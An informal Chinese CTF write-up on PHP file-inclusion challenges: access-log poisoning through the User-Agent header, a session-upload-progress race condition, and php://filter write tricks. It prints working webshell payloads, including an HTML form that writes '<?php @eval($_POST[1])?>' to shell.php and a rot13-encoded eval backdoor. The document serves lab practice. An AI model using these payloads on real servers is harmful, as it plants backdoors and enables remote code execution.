普及
日志文件记录了一下登录者的信息
访问者ip:127.0.0.1
访问日期
请求方式:GET
请求链接:/dvwa/phpinfo.php
请求参数:PHPE9568F34-D428-11d2-A769-00AA001ACF42
HTTP协议:HTTP/1.1
返回转态码:200
返回包的长度:2536
请求包的Referer:http://127.0.0.1/dvwa/phpinfo.php
访问者的浏览器信息:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
session文件:session是个安全会话协议和cookie一样记录着用户信息
这个代码写上之后 网站就会给你产生一个session文件 这个在网站目录下的 tmp 里
眼神好的可能发现了 爱博士 这个session文件怎么是空的呀 因为储存重要信息的原因 session文件会被定时的清理掉
日志文件包含
这边还是以 ctfshow为例子
那我们还搞个毛啊 主要协议都被干了 这个就需要我们进行日志的利用
linux日志的路径 :/var/log/apache2/access.log
/var/log/nginx/access.log
win的就不说了 一般网站没有使用win的
那我得先判断中间件是哪个
判断是 nginx 直接使用路径查看一下日志
测试成功 搞个后门进去 在UA头写入查看
看见了 fl0g.php
记住这个链接的密码是 xxx
别忘了加 ;
可以直接后门连接工具进行连接 当然也可以利用这个密码去进行命令的传输 在POST里利用这个后门
第二个日志题
这个一看就是日志题
一样修改UA 这次是get的传输
session竞争
这个使用就需要我们使用session 竞争
准备 1、一个对这个网站 产生session文件的代码 并给与名字 2、因为session文件的定时清理我们需要不断的访问session文件的地址 和不断的上传session文件 3、上传的同时利用代码生成一个木马文件 使用后门进入
1、
<!DOCTYPE html>
<html>
<body>
<form action="https://f2758c7c-2cbe-44ce-a533-0808c1ab7e7b.challenge.ctf.show/" method="POST" enctype="multipart/form-data"><input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[1])?>'?>" /><input type="file" name="file" /><input type="submit" value="submit" />
</form>
</body>
</html>
https://www.cnblogs.com/lnterpreter/p/14086164.html
https://www.cnblogs.com/echoDetected/p/13976405.html
先把这个文件运行起来 主要上边这个action呀你要往那个网站传输就改为哪个
但是这个马上又会被 删除 所以 我们要一直访问shell.php 同时访问 xiaodi这个session文件
小知识点:session的存放位置 - 三哥~! - 博客园
文件的无限发实现了
/tmp/sess_xiaodi
无限访问session文件为了触发 写入木马
最后再无限访问 shell.php
因为这个题的竞争在晚上后半夜才开发 我就不继续搞了
这是flag
练习 web87
这个题有个特征就是 file_put_contents 明显的写入php://filter/write=convert.base64-encode/ resource=111.php
对上边的进行编码
然后输入 content (写入的内容)
直接执行但是执行之后 会出现空白 这个其实和base64编码有关系 需要我们加上2个占位符 aa
Base64编码介绍_符号编码从aa到zz都代表什么-CSDN博客
上传之后 我们访问一下后门 这个是关键 如果不访问后门是没办法执行命令的
当然如果你不理解什么是占位符啊???不想看base64原理
还有个方法 凯撒 rot13 直接解决
url编码2次:php://filter/write=string.rot13/resource=2.php
content=<?cuc riny($_CBFG[1]);?>